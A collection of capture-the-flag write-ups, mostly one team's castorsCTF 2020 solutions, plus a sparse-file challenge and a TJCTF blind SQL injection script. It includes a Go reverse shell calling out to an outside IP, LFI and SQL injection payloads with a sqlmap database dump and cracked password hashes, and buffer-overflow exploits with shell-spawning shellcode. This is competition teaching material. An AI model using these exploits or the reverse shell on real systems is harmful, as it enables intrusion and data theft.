7.25a.75.75 0 0 1-1.06 0L2.22 9.28a.751.751 0 0 1 .018-1.042.751.751 0 0 1 1.042-.018L6 10.94l6.72-6.72a.75.75 0 0 1 1.06 0Z"></path></svg> </clipboard-copy> </div></template>
</div>
<div id="js-global-screen-reader-notice" class="sr-only" aria-live="polite" ></div> </body></html>
|
# Cybercastors writeups for team bootplug
# Misc## Password crack 3```7adebe1e15c37e23ab25c40a317b76547a75ad84bf57b378520fd59b66dd9e12
This one needs to be in the flag format first...```
The solution here was to use a custom ruleset with hashcat, that applied the flag format to all password candidates: `^{^F^T^C^s^r^o^t^s^a^c$}`. Running rockyou.txt with this rule, produced the solution:`7adebe1e15c37e23ab25c40a317b76547a75ad84bf57b378520fd59b66dd9e12:castorsCTF{theformat!}`## Pitfall```sylv3on_ was visiting cybercastors island and thought it'd be funny to bury the flag.txt. Can you help us DIG it out?```
```$ dig -t TXT cybercastors.com
; <<>> DiG 9.11.9 <<>> -t TXT cybercastors.com...;; ANSWER SECTION:cybercastors.com. 299 IN TXT "v=spf1 include:_spf.google.com ~all"cybercastors.com. 299 IN TXT "flag=castorsCTF{L00K_1_DuG_uP_4_fL4g_464C4147}"```## To plant a seed```Did you know flags grow on trees? Apparently if you water them a specific amount each day the tree will grow into a flag! The tree can only grow up to a byte each day. I planted my seed on Fri 29 May 2020 20:00:00 GMT. Just mix the amount of water in the list with the tree for 6 weeks and watch it grow!```A file with the following sequence was provided:```Watering Pattern: 150 2 103 102 192 216 52 128 9 144 10 201 209 226 22 10 80 5 102 195 23 71 77 63 111 116 219 22 113 89 187 232 198 53 146 112 119 209 64 79 236 179```
Guessing that this is about PRNG seeds, and the pattern is a flag XORed with the output, we need to find a PRNG that, when seeded with the given date, outputs numbers such that `150 ^ random_1 = 'c'` and `2 ^ random_2 = 'a'`, etc. After trying a few variants, like libc and different versions of Python, and testing ways to mask the output to 8-bit numbers, I figured out that they used Python3 and `random.randint(0,255)`.
```pythonimport randomrandom.seed(1590782400)
nums = [150,2,103,102,192,216,52,128,9,144,10,201,209,226,22,10,80,5,102,195,23,71,77,63,111,116,219,22,113,89,187,232,198,53,146,112,119,209,64,79,236,179]
print(''.join(chr(e ^ random.randint(0,255)) for e in nums))# castorsCTF{d0n7_f0rg37_t0_73nd_y0ur_s33ds}```
# Coding## Arithmetics```pythonfrom pwn import *
r = remote("chals20.cybercastors.com", 14429)r.sendlineafter("ready.\n", "")
lookup = {"one":"1", "two":"2", "three":"3", "four":"4", "five":"5", "six":"6", "seven":"7", "eight":"8", "nine": "9", "minus":"-", "plus":"+", "multiplied-by":"*", "divided-by":"//"}
for count in range(100): q = r.recvline() print(count, q) _, _, a, op, b, _ = q.split(" ") if a in lookup: a = lookup[a] if b in lookup: b = lookup[b] if op in lookup: op = lookup[op]
r.sendline(str(eval(a+op+b))) print r.recvline() count += 1
r.interactive()```## Base Runner
Saw that it was binary -> octal -> hex -> base64.Just built upon an ugly one liner in python and pwntools, looped it 50 times and got the flag ```pythonfrom pwn import *from base64 import b64decode
r = remote("chals20.cybercastors.com",14430)
r.recvuntil("ready.")r.sendline("\n")r.recvline()
for i in range(50): r.sendline(b64decode("".join([chr(int(nnn,16)) for nnn in "".join([chr(int(nn,8)) for nn in "".join([chr(int(n,2)) for n in r.recvline().decode().strip().split(" ")]).split(" ")]).split(" ")])).decode()) print(r.recvline())
r.interactive()```## Flag GodsThe service asks us to provide the hamming distance between a string and some hexadecimal output. This is easily accomplished by decoding the hex string, then bitwise XORing the strings, and counting the number of "1" bits in the result.
```pythonfrom pwn import *from Crypto.Util.number import long_to_bytes as l2b, bytes_to_long as b2l
r = remote("chals20.cybercastors.com", 14431)r.sendline("")
for iteration in range(80): _ = r.recvuntil("Transmitted message: ") m1 = r.recvline().rstrip() _ = r.recvuntil("Received message: ") m2 = r.recvline().rstrip().decode('hex') hamming = bin(b2l(xor(m1,m2))).count("1") r.sendline(str(hamming))
if iteration == 79: break
print iteration print r.recvline() print r.recvline()
r.interactive()```## Glitchity GlitchAfter randomly trying a few options in the menu, I found a sequence that led to infinite selling. Instead of figuring out the bugs, or trying to optimize it any further, I just looped until I had enough money to buy the flag.
```pythonfrom pwn import *
context.log_level = "debug"
r = remote("chals20.cybercastors.com", 14432)
r.sendlineafter("Choice: ","1")r.sendlineafter("Choice: ","2")r.sendlineafter("Choice: ","3")r.sendlineafter("Choice: ","6")
for _ in range(6000//20): r.sendlineafter("Choice: ", "0") r.sendlineafter("Choice: ", "1")
r.sendline("5") # castorsCTF{$imPl3_sTUph_3h?}
r.interactive()```
# Forensics
## LeftoversThis is HID data, but with a slight twist where multiple keys are being sent in the same packet. First we extract all the HID data packets.
`tshark -r interrupts.pcapng -T fields -e usb.capdata > usbdata.txt`
Some manual cleanup is required afterwards; namely deleting blank lines and deleting metadata PDUs (which have a different length).
After this, you just run your run-of-the-mill HID parser, just to see that it doesn't support Caps Lock, and assumes only one key is arriving at any point. Adding caps-lock support, I'm left with
`what dooyoo thhnng yyuu will ffnnn herr? thhss? csstossCTF{1stiswhatyoowant}`
and these letters that are pressed, but couldn't be merged with the earlier output: `uuuiiioooiiiddeeiiiaarruu`. Through manual comparison of the provided strings, and filtering out some double letters, it's clear that the flag must be `castorsCTF{1stiswhatyouwant}`.
## ManipulationThe challenge has a .jpg file, but the contents are actually output from `xxd`. The first line is also moved to the bottom. We can undo this by moving the last line to the top, using a text editor, then running `xxd -r` on the file. This produces a valid JPG file with two flags on it. The last flag was the correct one.
## Father Taurus Kernel Import!Loaded dump into Autopsy, let it scan. Found a deleted file `Secrets/_lag.txt` (originally flag.txt?) with contents`Y2FzdG9yc0NURntmMHIzbnMxY1NfbHNfSVRzXzBXbl9iMFNTfQ==`, which after base64 decoding becomes `castorsCTF{f0r3ns1cS_ls_ITs_0Wn_b0SS}`.
# General
# Web
## Bane ArtThis challenge has a very obvious LFI vulnerability, and php wrappers are enabled. After some probing around, reading files with`http://web1.cybercastors.com:14438/app.php?topic=php://filter/convert.base64-encode/resource=<FILENAME>`and abusing `/proc/self/fd/7` as a semi-RCE, we find the flag located at`/home/falg/flag/test/why/the/hassle/right/flag.txt`.
Final payload is then `http://web1.cybercastors.com:14438/app.php?topic=php://filter/convert.base64-encode/resource=/home/falg/flag/test/why/the/hassle/right/flag.txt`
`castorsCTF{w3lc0m3_2_D4_s0urc3_YoUng_Ju4n}`
## ShortcutsSaw you could upload your own shortcuts, however if you uploaded `<filename>` and clicked it, the webapp tried to `go run <filename>.go`. I circumvented this by just uploading `<filename>` and `<filename>.go` to the shortcuts app with the same content, then clicking the `<filename>` link.
the go code I uploaded was some sample rev-shell code from pentestmonkey.```gopackage main
import ( "net" "os/exec" "time")
func main() { reverse("167.99.202.x:8080")}
func reverse(host string) { c, err := net.Dial("tcp", host) if nil != err { if nil != c { c.Close() } time.Sleep(time.Minute) reverse(host) }
cmd := exec.Command("/bin/sh") cmd.Stdin, cmd.Stdout, cmd.Stderr = c, c, c cmd.Run() c.Close() reverse(host)}```
After that I found the flag in /home/tom/flag.txt
## QuizSaw a simple quiz app, apparently written in Go. Tried lots of stuff with the questionaire, could provoke a strconv error when setting question number to something that was not a number, but nothing else interesting.
After some directory brute forcing we found /backup/, giving us the soruce code.
### Function & routes```go mux := httprouter.New()
mux.GET("/", index) mux.GET("/test/:directory/:theme/:whynot", super) mux.GET("/problems/math", math) mux.POST("/problems/math", mathCheck)
//Remember to Delete mux.GET("/backup/", backup)``````gofunc super(w http.ResponseWriter, req *http.Request, ps httprouter.Params) { fmt.Println(ps.ByName("whynot")) var file string = "/" + ps.ByName("directory") + "/" + ps.ByName("theme") + "/" + ps.ByName("whynot") test, err := os.Open(file) handleError(w, err) defer test.Close()
scanner := bufio.NewScanner(test) var content string for scanner.Scan() { content = scanner.Text() }
fmt.Fprintf(w, "Directories: %s/%s\n", ps.ByName("directory"), ps.ByName("theme")) fmt.Fprintf(w, "File: %s\n", ps.ByName("whynot")) fmt.Fprintf(w, "Contents: %s\n", content)}```After inspecting the source code we see that the super function gives us LFI, but only the last line in the file we want to view.
We tried alot of stuff, including viewing the .csv files, different files in /proc, until we finally looked at the description hinting to the name jeff.
```bashcurl --path-as-is -g 'http://web1.cybercastors.com:14436/test/home/jeff/flag.txt' -o -Directories: home/jeffFile: flag.txtContents: castorsCTC{wh0_l4iks_qUiZZ3s_4nyW4y}```
## Car LotteryWe're presented with a website that says you need to be visitor number N, for some large number N, in order to buy a car. Inspecting the requests, it's clear that this is set through cookies, and we can gain access by setting the cookie `client=3123248`. This allows us to browse the cars, by querying for data. Probing around here a bit, reveals an SQLi vulnerability in the lookup. We dump the entire database with this.
`python sqlmap.py -o -u "http://web1.cybercastors.com:14435/search" --data "id=1" --cookie="client=3123248" --dump-all`
Inspecting the data, there's a table called `Users` with the following contents:
```Username,Password[email protected],cf9ee5bcb36b4936dd7064ee9b2f139e[email protected],fe87c92e83ff6523d677b7fd36c3252d[email protected],d1833805515fc34b46c2b9de553f599d[email protected],77004ea213d5fc71acf74a8c9c6795fb```
Which are easily cracked
```cf9ee5bcb36b4936dd7064ee9b2f139e:naruto fe87c92e83ff6523d677b7fd36c3252d:powerpuffd1833805515fc34b46c2b9de553f599d:pancakes77004ea213d5fc71acf74a8c9c6795fb:fun```
Here we got stuck for a while, until an admin hinted towards scanning for endpoints. This gave us `http://web1.cybercastors.com:14435/dealer`, where we could use the credentials above to log in and get the flag.
`castorCTF{daT4B_3n4m_1s_fuN_N_p0w3rfu7}`## Mixed FeelingsFound some commented out "php" code.
```php if(isset($file)) { if ($user == falling_down_a_rabit_hole) { exit()? } else { go to .flagkindsir }}```
http://web1.cybercastors.com:14439/.flagkindsir
Found this link
When we click the buttons it posts cookies=cookies or puppies=puppies.
So we tried flags=flags, then on a whim cookies=flag, and it worked.
```bashcurl 'http://web1.cybercastors.com:14439/.flagkindsir' --data-raw "cookies=flag"```
# Crypto## One Trick Ponyjust OTP where the flag is the key. so just input some known plaintext and get encrypted text. ```bash➜ Mixed Feelings echo -n "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaa" | nc chals20.cybercastors.com 14422
> b'\x02\x12\x15\x0e\x13\x12"5\'\x1a\nRR\x11>\x18Q\x14\x13>\nR\x18T>TR\x02\x13'```Then XOR the encrypted text with the known plaintext.```python>>> from pwn import xor>>> xor("aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa",b'\x02\x12\x15\x0e\x13\x12"5\'\x1a\nRR\x11>\x18Q\x14\x13>\nR\x18T>TR\x02\x13')b'cstorsCTF{k33p_y0ur_k3y5_53crcstorsCTF{k33p_y0'```
## Magic School BusHere we're presented with a service that serves up a scrambled flag, and can scramble arbitrary inputs. There's two ways to solve this: modify the input until its scrambled output matches the flag output, or figure out the scramble. We figured out the scramble indexes by scrambling strings like "BAAA...", "ABAA..." and noting where the 'B' ended up each time. Then applied this in reverse to the scrambled flag.
```pythonfrom pwn import *
lookup = []flag_len = 46
r = remote("chals20.cybercastors.com", 14421)
for i in range(flag_len): s = list("A"*flag_len) s[i] = "B" s = ''.join(s) r.sendline("1") _ = r.recv() r.sendlineafter("Who's riding the bus?: ", s) resp = r.recvline().strip().split()[2] lookup.append(resp.index("B"))
# lookup = [11, 23, 17, 5, 34, 40, 0, 29, 12, 24, 18, 6, 35, 41, 1, 30, 13, 25, 19, 7, 36, 42, 2, 31, 14, 26, 20, 8, 37, 43, 3, 32, 15, 27, 21, 9, 38, 44, 4, 33, 16, 28, 22, 10, 39, 45]
assert sorted(lookup) == range(flag_len)
r.sendline("2")r.recvuntil("Flag bus seating: ")flag = r.recvline()print flag # SNESYT3AYN1CTISL7SRS31RAFSKV3C4I0SOCNTGER0COM5
final_flag = [None] * flag_lenfor i in range(flag_len): final_flag[i] = flag[lookup[i]]
print(''.join(final_flag))```
Adding underscores we get `CASTORSCTF{R3C0N4ISSANCE_IS_K3Y_TO_S0LV1NG_MYS73R1E5}`
## WarmupSimple math, using the formulas`a=p+q, b=p-q, a^2+b^2=c^2, A=a*b/2`we end up with an equation for q and p alone, e.g.`2*q^2 = (c^2)/2 - A/2`
However, the `c` variable we've been given, is actually `c^2`, so the results were strange at first. After figuring this out, we can calculate p and q to decrypt the flag.
```pythonp = gmpy2.iroot(((c) // 4) - A, 2)[0]q = gmpy2.iroot(((c) // 4) + A, 2)[0]d = gmpy2.invert(e, (p-1)*(q-1))m = pow(enc, d, p*q)# castorsCTF{n0th1ng_l1k3_pr1m3_numb3r5_t0_w4rm_up_7h3_3ng1n3s}```
## Two PathsInside the image, there's some binary code that sends us off to `https://ctf-emoji-cipher.s3.amazonaws.com/decode_this.html`. And inside one of the color planes, we see a link sending us to `https://ctf-emoji-cipher.s3.amazonaws.com/text_cipher.htm`. I assume these are the two paths.
The first page has a ton of emojis, intersped with symbols like `_{},.!`. Removing all non-emojis, we see that there's 26 unique emojis, so it's likely a mapping to the English alphabet. Doing some basic tests does not reveal a probable mapping though, so it's likely some gibberish in the text. However, the second URL shows a message log between two persons, where one is speaking with text and the other in emoji. From the inital few sentences, we can guess that the emoji man is saying "hi" and "all good, you?". Using these translations lets us guess more and more letter mappings, until we have the entire text recovered.
```congratulations!_if_you_can_read_this,_then_you_have_solved_the_cipher!_we_just_hope_you_found_a_more_efficient_way_for_deciphering_than_going_one_by_one_or_else_you_won't_get_through_the_next_part_very_quickly._maybe_try_being_a_little_more_lazy!```
This text block is followed by a ton of flag-looking strings, where only one of them is the actual flag. This is why statistical tests failed to automatically decrypt this.
`castorsCTF{sancocho_flag_qjzmlpg}`
## Bagel BytesWe solved this before the code was released, and we're a bit unsure why such a huge hint was revealed after the challenge had been solved.
In this challenge, we get access to a service that lets us encrypt our own plaintexts, and also encrypt the flag with a chosen prefix. Fiddling about a bit, reveals that this is AES in ECB mode, which has a very common attack if you're given an oracle like here. Just ask the server to encrypt `"A"*15 + flag`. Then encrypt blocks like `"A"*15 + c` for every `c` in the printable alphabet, until you find a block similar to the flag block. This reveals a single letter of the flag. Now replace the last "A" with the first letter of the recovered flag, and repeat until the entire block is recovered.
To recover the next block, we can just use the first block as a prefix instead of using `"A"`, and look at the next block of the output. Here's some code for recovering the first block.
```pythonfrom pwn import *from string import printable
ALPHA = printable.strip()ALPHA = ALPHAr = remote("chals20.cybercastors.com", 14420)
def bake(s): r.sendlineafter("Your choice: ", "1") r.sendlineafter("> ", s) _ = r.recvline() _ = r.recvline() return r.recvline().strip()
def bakeflag(s): r.sendlineafter("Your choice: ", "2") r.sendlineafter("> ", s) _ = r.recvline() _ = r.recvline() return r.recvline().strip()
flag = ""for i in range(16): target = bakeflag("A"*(15-i))[:32] print("Target", target) for c in ALPHA: h = bake((flag + c).rjust(16, "A")) print("h", c, h) if target == h: flag += c print(flag) break else: assert False
# flag = "castorsCTF{I_L1k"```
Repeating this 3 times, looking at higher offsets when picking the `target` variable, we recover `castorsCTF{I_L1k3_muh_b4G3l5_3x7r4_cr15pY}`.
## Jigglypuff's songInstead of LSB stego, this challenge opted to do MSB stego. Simply use stegsolve to pick out the MSB of red, green and blue layers to recover a long text of rickrolls and `castorsCTF{r1ck_r0ll_w1ll_n3v3r_d3s3rt_y0uuuu}`## AmazonEach letter of the flag has been multiplied with a prime number, in increasing order.
```pythonimport gmpy2nums = [198,291,575,812,1221,1482,1955,1273,1932,2030,3813,2886,1968,4085,3243,5830,5900,5795,5628,3408,7300,4108,10043,8455,6790,4848,11742,10165,8284,5424,14986,6681,13015,10147,7897,14345,13816,8313,18370,8304,19690,22625]
flag = ""p=2
for num in nums: flag += chr(num // p) p = gmpy2.next_prime(p)
print(flag)```## 0x101 DalmatiansA continuation of Amazon, the change here is that the result is taken modulo 0x101```pythonimport gmpy2
nums = [198, 34, 61, 41, 193, 197, 156, 245, 133, 231, 215, 14, 70, 230, 33, 231, 221, 141, 219, 67, 160, 52, 119, 4, 127, 50, 19, 140, 201, 1, 101, 120, 95, 192, 20, 142, 51, 191, 188, 2, 33, 121, 225, 93, 211, 70, 224, 202, 238, 114, 194, 38, 56]
flag = ""p=2
for num in nums: for i in range(256): if (p*i) % 0x101 == num: flag += chr(i) break p = gmpy2.next_prime(p)
print(flag)```## Stalk MarketTo obtain the flag here, we need to guess the highest price out of 12 possibilities, 20 times in a row. The prices are picked based on some buckets of numbers, all rolled from the python random module. We're also given a commit hash for each price, to prove that the price was indeed pre-determined. We're also given the price of monday at AM each round.
The hashing algorithm does the following:
- Set initial state to a constant- Pad input and split into chunks of 16 bytes- For each chunk, do 8 rounds of:-- XOR state with the chunk-- Perform sbox lookup for each byte in the state-- Permute all state bytes according to a pbox.
The commit hashes are computed like `hash(secret + pad("mon-am-123"))`, where the secret value is exactly 16 bytes, or 1 chunk. The same secret is used for every price in a given round, and is also revealed after our guess for verification purposes.
A huge flaw here, is that after processing the secret block, the state will be **the same** for each calculated price. Then it applies the hashing algorithm to the time+price string. We can then basically say that the state after the first 8 rounds, is the actual initial state, instead of the secret. Since we know the price for monday at 12, we can undo all the hashing steps for the last block, to recover this "new secret". Then we can brute-force the prices for each time of the day, starting at the new secret, until it matches the commit we've been given. Now we know the prices, and can easily make the right guess.
```pythonfrom pwn import *
def pad(s): if len(s) % 16 == 0: return s else: pad_b = 16 - len(s) % 16 return s + bytes([pad_b]) * pad_b
def repeated_xor(p, k): return bytearray([p[i] ^ k[i] for i in range(len(p))])
def group(s): return [s[i * 16: (i + 1) * 16] for i in range(len(s) // 16)]
sbox = [92, 74, 18, 190, 162, 125, 45, 159, 217, 153, 167, 179, 221, 151, 140, 100, 227, 83, 8, 4, 80, 75, 107, 85, 104, 216, 53, 90, 136, 133, 40, 20, 94, 32, 237, 103, 29, 175, 127, 172, 79, 5, 13, 177, 123, 128, 99, 203, 0, 198, 67, 117, 61, 152, 207, 220, 9, 232, 229, 120, 48, 246, 238, 210, 143, 7, 33, 87, 165, 111, 97, 135, 240, 113, 149, 105, 193, 130, 254, 234, 6, 76, 63, 19, 3, 206, 108, 251, 54, 102, 235, 126, 219, 228, 141, 72, 114, 161, 110, 252, 241, 231, 21, 226, 22, 194, 197, 145, 39, 192, 95, 245, 89, 91, 81, 189, 171, 122, 243, 225, 191, 78, 139, 148, 242, 43, 168, 38, 42, 112, 184, 37, 68, 244, 223, 124, 218, 101, 214, 58, 213, 34, 204, 66, 201, 180, 64, 144, 147, 255, 202, 199, 47, 196, 36, 188, 169, 186, 1, 224, 166, 10, 170, 195, 25, 71, 215, 52, 15, 142, 93, 178, 174, 182, 131, 248, 26, 14, 163, 11, 236, 205, 27, 119, 82, 70, 35, 23, 88, 154, 222, 239, 209, 208, 41, 212, 84, 176, 2, 134, 230, 51, 211, 106, 155, 185, 253, 247, 158, 56, 73, 118, 187, 250, 160, 55, 57, 16, 17, 157, 62, 65, 31, 181, 164, 121, 156, 77, 132, 200, 138, 69, 60, 50, 183, 59, 116, 28, 96, 115, 46, 24, 44, 98, 233, 137, 109, 49, 30, 173, 146, 150, 129, 12, 86, 249]p = [8, 6, 5, 11, 14, 7, 4, 0, 9, 1, 13, 10, 2, 3, 15, 12]round = 8
inv_s = [sbox.index(i) for i in range(len(sbox))]inv_p = [p.index(i) for i in range(len(p))]
DAYTIMES = ["mon-pm", "tue-am", "tue-pm", "wed-am", "wed-pm", "thu-am", "thu-pm", "fri-am", "fri-pm", "sat-am", "sat-pm"]
def reverse_state(s, guess): state = bytes.fromhex(s) for _ in range(round): temp = bytearray(16) for i in range(len(state)): temp[inv_p[i]] = state[i] state = temp
for i in range(len(state)): state[i] = inv_s[state[i]]
state = repeated_xor(state, guess) return state.hex()
def hash(data, init): state = bytes.fromhex(init) data = group(pad(data)) for roundkey in data: for _ in range(round): state = repeated_xor(state, roundkey) for i in range(len(state)): state[i] = sbox[state[i]] temp = bytearray(16) for i in range(len(state)): temp[p[i]] = state[i] state = temp return state.hex()
r = remote("chals20.cybercastors.com", 14423)
for _ in range(20): _ = r.recvuntil("Price commitments for the week: ") hashes = [e.decode() for e in r.recvline().rstrip().split()] _ = r.recvuntil("Monday AM Price: ") monam_price = r.recvline().strip().decode() guess = pad(f"mon-am-{monam_price}".encode()) init = reverse_state(hashes[0], guess)
best_price = int(monam_price) best_time = "mon-am"
for ix, time in enumerate(DAYTIMES): for price in range(20, 601): guess = pad(f"{time}-{price}".encode()) h = hash(guess, init) if h == hashes[ix+1]: print(time, price) if price > best_price: best_price = price best_time = time break else: assert False r.sendline(best_time)
r.interactive()```
`Even Tom Nook is impressed. Here's your flag: castorsCTF{y0u_4r3_7h3_u1t1m4t3_turn1p_pr0ph37}`
# PWN
## abcbofVery simple buffer overflow, to overwrite the next variable with `CyberCastors`. Simply send a string with tons of padding, which ends in `CyberCastors`. Even when unsure about the exact padding length, multiple lengths can be tested.
## babybof1 part 1ROP to the `get_flag` function.```pythonfrom pwn import *import time
context.arch = "x86_64"
elf = ELF("babybof")r = remote("chals20.cybercastors.com", 14425)
payload = "A"*264payload += p64(elf.symbols["get_flag"])r.sendline(payload)r.shutdown("send")r.interactive()```Running it yields the flag: `castorsCTF{th4t's_c00l_but_c4n_y0u_g3t_4_sh3ll_n0w?}`
## babybof1 pt2Same start as the babybof1 challenge, except this time we need a shell. Since the stack is executable, and RAX contains a pointer to the array `gets()` wrote to, we use a "jmp rax" gadget to execute our shellcode.
*Replaces the payload in pt 1*
```pythonJMP_RAX = 0x0000000000400661payload = asm(shellcraft.sh()).ljust(264, "\x90")payload += p64(JMP_RAX)r.sendline(payload)r.interactive()```When we have a shell we can cat the `shell_flag.txt````consoleWelcome to the cybercastors BabybofSay your name: sh: 0: can't access tty; job control turned off$ lsbabybof flag.txt shell_flag.txt$ cat shell_flag.txtcastorsCTF{w0w_U_jU5t_h4ck3d_th15!!1_c4ll_th3_c0p5!11}```
## Babybof2We get a binary file called`winner` and a service to connect to.When running the program it asks for which floor the winners table is at. After opening up the program in IDA, we quickly find an unused function called `winnersLevel`. The function checks if the argument of this function is either one of two integers (258 (0x102) or 386 (0x182)). If the number is correct it prints the flag, or else it prints an info message that the badge number is not correct. We can overflow the input buffer using gets and overwrite the return address with the address of the `winnersLevel` function. We also need to send in the correct argument to this function to get the flag.
```python#!/usr/bin/env python3from pwn import *
exe = context.binary = ELF('winners')host = args.HOST or 'chals20.cybercastors.com'port = int(args.PORT or 14434)
def local(argv=[], *a, **kw): '''Execute the target binary locally''' if args.GDB: return gdb.debug([exe.path] + argv, gdbscript=gdbscript, *a, **kw) else: return process([exe.path] + argv, *a, **kw)
def remote(argv=[], *a, **kw): '''Connect to the process on the remote host''' io = connect(host, port) if args.GDB: gdb.attach(io, gdbscript=gdbscript) return io
def start(argv=[], *a, **kw): '''Start the exploit against the target.''' if args.LOCAL: return local(argv, *a, **kw) else: return remote(argv, *a, **kw)
gdbscript = '''tbreak maincontinue'''.format(**locals())
# -- Exploit --- #io = start()
winners_addr = exe.symbols["winnersLevel"] # Address of the winnersLevel functionp = cyclic(cyclic_find(0x61616174)) # Send input of cyclic 100 to program to find the offset where we can write a new return address.p+= p32(winners_addr)p+= b'a'*4p+= p32(0x102) # Send in the correct integer value the function expects to print the flag
if args.LOCAL: io.sendlineafter('is the table at: \n', p)else: io.sendline(p) # Some issues with the remote service, se we need to send the exploit right away and not wait for any prompt. io.interactive()```The flag is: `castorsCTF{b0F_s_4r3_V3rry_fuN_4m_l_r1ght}`
## babyfmtSimple format string
Spammed some `%lx` and after decoding the hex I could see the flag, narrowed down to the `%lx`'s I needed.```cnc chals20.cybercastors.com 14426
Hello everyone, this is babyfmt! say something: %8$lx%9$lx%10$lx%11$lx%12$lx%13$lx%8$lx%9$lx%10$lx%11$lx%12$lx%13$lx4373726f747361635f6b34336c7b46543468745f6b34336c74346d7230665f745f366e317274735f7d6b34336c```
decoded the hex string, however the flag was divided into 8 char indices which had to be reversed, which I did with python.
```python>>> s = "Csrotsac_k43l{FT4ht_k43lt4mr0f_t_6n1rts_}k43l">>> "".join([s[i:i+8][::-1] for i in range(0,len(s),8)])'castorsCTF{l34k_l34k_th4t_f0rm4t_str1n6_l34k}'```
# Rev
## Reverse-meThe binary is reading a flag.txt file, applies some mapping function on each of the bytes, and dump them to the screen. Then it asks us to input the flag for verification.
We solved this by just encrypting A-Z, a-z, 0-9 etc. and creating a mapping table for it.
```pythonlookup = {e2:e1 for e1, e2 in zip("abcdefghijklmnopqrstuvwx", "6d6e6f707172737475767778797a6162636465666768696a".decode('hex'))}for e1, e2 in zip("ABCDEFGHIJKLMNOPQRSTUVWX", "434445464748494a4b4c4d4e4f505152535455565758595a".decode('hex')): assert not e2 in lookup lookup[e2] = e1for e1, e2 in zip("0123456789", "32333435363738393a3b".decode('hex')): assert not e2 in lookup lookup[e2] = e1
flag = "64 35 68 35 64 37 33 7a 38 6b 33 37 6b 72 67 7a".replace(" ","").decode('hex')print(''.join(lookup.get(e,'_') for e in flag))```
`castorsCTF{r3v3r51n6_15_fun}`## MappingVery similar to the Reverse-me challenge, except it's golang, and the output is base64-encoded before comparing it to the scrambled flag. I input the entire ASCII alphanum charset, set a breakpoint in the base64-encoding function, and read out the mapping table that was given as an argument to it. Then I extract the encoded flag used for comparison, decoded it and undid the mapping.
```pythonimport base64from string import maketrans
a = "0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ"b = "5670123489zyxjklmdefghinopqrstuvwcbaZYXFGABHOPCDEQRSTUVWIJKNML"flag = "eHpzdG9yc1hXQXtpYl80cjFuMmgxNDY1bl80MXloMF82Ml95MDQ0MHJfNGQxbl9iNXVyMn0="
tab = maketrans(b,a)
print(base64.b64decode(flag).translate(tab))```
`castorsCTF{my_7r4n5l4710n_74bl3_15_b3773r_7h4n_y0ur5}`
## RansomThe binary here, is basically encrypting flag.png, and we're provided with an encrypted flag file and a traffic log. Looking at the file length, it's reasonable to believe that it's a stream cipher, which often can be undone by simply encrypting again. This is because stream ciphers often just XOR the plaintext with a bytestream.
But before the binary tries to encrypt, it tries to contact a webserver at 192.168.0.2:8081 and ask for a seed. If it is not able to successfully complete a handshake with this server, it will pick a random seed based on the current time.
We set up a basic flask server that with the endpoint `/seed`, that responds `1337` to GET requests and `ok\n` to POST requests. This matches the traffic seen in the traffic log. When we apply this to the original flag file, we get a valid PNG file with the flag on it. (Until we added the newline, it randomly encrypted things every time).

## OctopusBefore the new binary was dropped, this challenge looked like a very hard encoding challenge. After the update, it's a matter of removing the certificate header/footer, fixing newlines with dos2unix, then decoding the base64 into an ELF file. Running this ELF, spits out the flag in base64-encoded form.
```bashroot@bd2ba35b12d7:/ctf/work# ./obfusEstou procurando as palavras para falar em inglês ...Aqui vou[Y 2 F z d G 9 y c 0 N U R n t X a D B f c z Q x Z F 9 B b l k 3 a G x u R 1 9 C M H V U X 2 0 0 d E h 9]```
`castorsCTF{Wh0_s41d_AnY7hlnG_B0uT_m4tH}`
|
# My huge file
> I have a very big file for you. I hid a present inside.> Classic tools wont be useful here.
## Description
In this challenge we had to connect to a remote machine trought SSH and find information in a huge file.
Upon connecting my first reflex was:```ls -al --human-readable```And we realise that the file is about 16 Tb.
## Solution
### Investigation
16 Tb is big for a file, and we can't expect every team to parse that much information in such a short time, without being a news: [record with 100 Tb for 23 minutes link](https://www.wired.com/2014/10/startup-crunches-100-terabytes-data-record-23-minutes/)
```df --human-readable```
Tells us that the the machine doesn't have that much memory to begin with.
A quick Google search taught me about sparse files: [wiki](https://wiki.archlinux.org/index.php/sparse_file). The data was only allocated when we attempted to read into it, and we would only get zeros.
### Getting the Flag
Fortunately when reading a file in Python 3.3 we can ask to jump to the next allocated chunk:
```pythonos.lseek(file_descriptor, pos, os.SEEK_SET | os.SEEK_DATA)```
My algorithm was simply to jump in the file with *lseek* read the next few bytes. then using file.tell(). Get the current position, to make another jump with lseek.
In the end, the bytes of the flag were scattered across the file.
`Flag:shkCTF{sp4rs3_f1l3s_4r3_c001_6cf61f47f6273dfa225ee3366eacb8eb}` |
Here simple python script for weak password which site is vulnerable to sqli```import requestsurl = "https://weak_password.tjctf.org/login"passwords = "abcdefghijklmnopqrstuvwxyz1234567890" # as they said password is lowercase letters and numbersflag = ""i = 0while True: # infinate loop payload = " AND password LIKE '"+flag+passwords[i]+"%';-- -" data = {"username":"admin'{} -- ".format(payload),"password":"wtf"} r = requests.post(url,data=data) if "Congratulations!" in r.text: flag += passwords[i] print flag i = 0 else: i += 1
```Password = blindsqli14519
Inflag `tjctf{blindsqli14519}` |
<html lang="en" data-color-mode="auto" data-light-theme="light" data-dark-theme="dark" data-a11y-animated-images="system"> <head> <meta charset="utf-8"> <link rel="dns-prefetch" href="https://github.githubassets.com"> <link rel="dns-prefetch" href="https://avatars.githubusercontent.com"> <link rel="dns-prefetch" href="https://github-cloud.s3.amazonaws.com"> <link rel="dns-prefetch" href="https://user-images.githubusercontent.com/"> <link rel="preconnect" href="https://github.githubassets.com" crossorigin> <link rel="preconnect" href="https://avatars.githubusercontent.com">
